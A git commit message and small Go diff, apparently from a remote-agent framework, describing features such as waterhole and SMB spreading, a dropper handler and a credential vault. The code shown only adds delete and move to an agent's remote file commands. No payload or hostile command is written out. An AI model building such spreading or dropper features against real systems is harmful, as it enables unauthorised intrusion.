feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/file_ops_unix.go

@@ -2,10 +2,17 @@
 
 package client
 
-func (c *AgentClient) handleFileCommand(action, path string) bool {
-	switch action {
-	case "list_dir", "read_file":
-		c.sendCommandResult(action, false, "file browser commands are only supported on Windows agents")
+func (c *AgentClient) handleFileCommand(action, path, data string) bool {
+	if c.doListDir(action, path) {
+		return true
+	}
+	if c.doReadFile(action, path) {
+		return true
+	}
+	if c.doDeletePath(action, path) {
+		return true
+	}
+	if c.doMovePath(action, path, data) {
 		return true
 	}
 	return false